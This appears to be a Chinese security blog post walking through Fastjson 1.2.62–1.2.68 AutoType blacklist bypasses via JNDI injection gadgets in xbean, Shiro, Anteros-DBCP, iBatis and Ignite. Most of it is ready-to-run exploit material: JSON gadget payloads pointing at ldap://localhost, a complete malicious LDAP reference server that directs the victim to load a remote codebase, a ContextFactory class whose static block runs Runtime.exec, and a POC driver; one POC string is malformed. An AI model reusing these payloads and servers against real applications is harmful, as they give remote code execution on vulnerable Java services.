Java-Fastjson1.2.6x绕过

Fasjson 1.2.62

依赖

组件漏洞

<dependency>  
<groupId>com.alibaba</groupId>  
<artifactId>fastjson</artifactId>  
<version>1.2.62</version>  
</dependency>  
<dependency>  
<groupId>org.apache.xbean</groupId>  
<artifactId>xbean-reflect</artifactId>  
<version>4.18</version>  
</dependency>  
<dependency>  
<groupId>commons-collections</groupId>  
<artifactId>commons-collections</artifactId>  
<version>3.2.1</version>  
</dependency>

利用条件

  • Auto Type开启
  • 版本<=1.2.62
  • JNDI注入收到JDK版本的限制
  • 存在xbean-reflect包

JndiConverter#toObjectImpl()

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.xbean.propertyeditor;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiConverter extends AbstractConverter {
  public JndiConverter() {
      super(Context.class);
  }

  protected Object toObjectImpl(String text) {
      try {
          InitialContext context = new InitialContext();
          return (Context)context.lookup(text);
      } catch (NamingException e) {
          throw new PropertyEditorException(e);
      }
  }
}

lookup触发点,但是要求是Context类型的对象,而且是调用到父类构造函数

 protected AbstractConverter(Class type) {
      this(type, true);
  }

  protected AbstractConverter(Class type, boolean trim) {
      if (type == null) {
          throw new NullPointerException("type is null");
      } else {
          this.type = type;
          this.trim = trim;
      }
  }

在父类中有setAsText方法,调用到toObject()

public final void setAsText(String text) {
      Object value = this.toObject(this.trim ? text.trim() : text);
      super.setValue(value);
  }

跟进

    public final Object toObject(String text) {
      if (text == null) {
          return null;
      } else {
          Object value = this.toObjectImpl(this.trim ? text.trim() : text);
          return value;
      }
  }

可以看到调用到了toObjectImpl(),所以我们的poc是

{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," +
              "\"asText\":\"ldap://localhost:1389/EXP\"}

LDAP

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class LDAP {
  private static final String LDAP_BASE = "dc=example,dc=com";

  public static void main(String[] args) {
      String codebase = "http://127.0.0.1:8888/";
      int port = 1389;

      if (args.length > 0) {
          codebase = args[0];
      }
      if (args.length > 1) {
          port = Integer.parseInt(args[1]);
      }

      try {
          InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
          config.setListenerConfigs(new InMemoryListenerConfig(
                  "listen",
                  InetAddress.getByName("0.0.0.0"),
                  port,
                  ServerSocketFactory.getDefault(),
                  SocketFactory.getDefault(),
                  (SSLSocketFactory) SSLSocketFactory.getDefault()));

          config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
          InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
          System.out.println("[*] Listening on 0.0.0.0:" + port);
          System.out.println("[*] Codebase: " + codebase);
          ds.startListening();
          System.out.println("[*] LDAP Server started, waiting for requests...");
      } catch (Exception e) {
          e.printStackTrace();
      }
  }

  private static class OperationInterceptor extends InMemoryOperationInterceptor {
      private URL codebase;

      public OperationInterceptor(URL cb) {
          this.codebase = cb;
      }

      @Override
      public void processSearchResult(InMemoryInterceptedSearchResult result) {
          String base = result.getRequest().getBaseDN();
          System.out.println("[*] Received request for: " + base);

          Entry e = new Entry(base);
          try {
              // 关键修改:返回 ContextFactory 而不是 EXP
              String codebaseUrl = this.codebase.toString();
              if (!codebaseUrl.endsWith("/")) {
                  codebaseUrl += "/";
              }

              // 设置 LDAP 条目属性,返回一个可以创建 Context 对象的工厂
              e.addAttribute("javaClassName", "javax.naming.InitialContext");
              e.addAttribute("javaCodeBase", codebaseUrl);
              e.addAttribute("objectClass", "javaNamingReference");
              e.addAttribute("javaFactory", "ContextFactory"); // 使用 ContextFactory

              result.sendSearchEntry(e);
              result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
              System.out.println("[*] Sent ContextFactory reference");
          } catch (Exception e1) {
              System.err.println("[!] Error: " + e1.getMessage());
              e1.printStackTrace();
          }
      }
  }
}

EXP

得是Context对象

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class ContextFactory implements ObjectFactory {
  static {
      System.out.println("=== ContextFactory loaded ===");
      try {
          // 在这里执行你的恶意代码
          Runtime.getRuntime().exec("calc.exe");
          System.out.println("=== Calculator executed ===");
      } catch (Exception e) {
          e.printStackTrace();
      }
  }

  @Override
  public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
          throws Exception {
      System.out.println("=== ContextFactory.getObjectInstance() called ===");
      // 返回一个 InitialContext 对象,满足 JndiConverter 的类型要求
      return new InitialContext();
  }
}

POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
  public static void main(String[] args) {
      System.out.println("[*] Starting Fastjson JNDI Injection Test...");

      // 开启 AutoType 支持
      ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

      // 使用 JndiConverter Gadget
      String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," +
              "\"asText\":\"ldap://localhost:1389/EXP\"}";

      System.out.println("[*] Payload: " + poc);
      System.out.println("[*] Parsing JSON...");

      try {
          JSON.parse(poc);
          System.out.println("[*] JSON parsed successfully");
      } catch (Exception e) {
          System.err.println("[!] Error: " + e.getMessage());
          e.printStackTrace();
      }
  }
}

Fasjson 1.2.66

要求组件:

  • org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 包
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core 和 Anteros-DBCP 包
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类需要 ibatis-sqlmap 和 jta 包

存在JNDI注入

依赖

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>

POC

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:9999/EXP"], "Realms":[""]}

依赖

br.com.anteros.dbcp.AnterosDBCPConfig

<!-- Anteros-Core -->
<dependency>
  <groupId>br.com.anteros</groupId>
  <artifactId>Anteros-Core</artifactId>
  <version>1.2.1</version>
</dependency>

<!-- Anteros-DBCP -->
<dependency>
  <groupId>br.com.anteros</groupId>
  <artifactId>Anteros-DBCP</artifactId>
  <version>1.0.1</version>
</dependency>

POC

package json_dome;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class poc3 {
  public static void main(String[] args) {
      ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
      String poc ={\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:9999/EXP\"}";


      JSON.parse(poc);
  }
}

分析 AnterosDBCPConfig类下的

public void setMetricRegistry(Object metricRegistry) {
      if (this.metricsTrackerFactory != null) {
          throw new IllegalStateException("cannot use setMetricRegistry() and setMetricsTrackerFactory() together");
      } else {
          if (metricRegistry != null) {
              metricRegistry = this.getObjectOrPerformJndiLookup(metricRegistry);
              if (!UtilityElf.safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry") && !UtilityElf.safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry")) {
                  throw new IllegalArgumentException("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry");
              }
          }

          this.metricRegistry = metricRegistry;
      }
  }

然后会进入到getObjectOrPerformJndiLookup方法,我们跟进

private Object getObjectOrPerformJndiLookup(Object object) {
      if (object instanceof String) {
          try {
              InitialContext initCtx = new InitialContext();
              return initCtx.lookup((String)object);
          } catch (NamingException e) {
              throw new IllegalArgumentException(e);
          }
      } else {
          return object;
      }
  }

调用到lookup方法

或者

{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:9999/EXP\"} 

也是一样的,只不走的是这个

public Object getHealthCheckRegistry() {
      return this.healthCheckRegistry;
  }

  public void setHealthCheckRegistry(Object healthCheckRegistry) {
      this.checkIfSealed();
      if (healthCheckRegistry != null) {
          healthCheckRegistry = this.getObjectOrPerformJndiLookup(healthCheckRegistry);
          if (!(healthCheckRegistry instanceof HealthCheckRegistry)) {
              throw new IllegalArgumentException("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry");
          }
      }

依赖

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类
<!-- iBatis SQL Maps -->
<dependency>
  <groupId>org.apache.ibatis</groupId>
  <artifactId>ibatis-sqlmap</artifactId>
  <version>2.3.4.726</version>
</dependency>

<!-- JTA (Java Transaction API) -->
<dependency>
  <groupId>javax.transaction</groupId>
  <artifactId>jta</artifactId>
  <version>1.1</version>
</dependency>

POC

{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
              "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:9999/EXP\"}}

Fastjson 1.2.67

前提条件

  • 开启 AutoType;
  • Fastjson <= 1.2.67;
  • JNDI 注入利用所受的 JDK 版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 类需要 ignite-core、ignite-jta 和 jta 依赖;
  • org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 和 slf4j-api 依赖;

黑名单绕过

依赖

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

<!-- Ignite Core -->
<dependency>
  <groupId>org.apache.ignite</groupId>
  <artifactId>ignite-core</artifactId>
  <version>2.16.0</version>
</dependency>

<!-- Ignite JTA -->
<dependency>
  <groupId>org.apache.ignite</groupId>
  <artifactId>ignite-jta</artifactId>
  <version>2.16.0</version>
</dependency>

<!-- JTA -->
<dependency>
  <groupId>javax.transaction</groupId>
  <artifactId>jta</artifactId>
  <version>1.1</version>
</dependency>

POC

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:9999/EXP"], "tm": {"$ref":"$.tm"}}

依赖

org.apache.shiro.jndi.JndiObjectFactory

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>

POC

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:9999/EXP","instance":{"$ref":"$.instance"}}

Fastjson 1.2.68

利用类必须是expectClass类的子类或实现类

主要是绕过checkAutoType函数的关键在于参数expectClass,可以构造恶意的JSON数据,传入某个类作为expectClass参数再传到另一个expectClass类的子类来实现绕过的

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇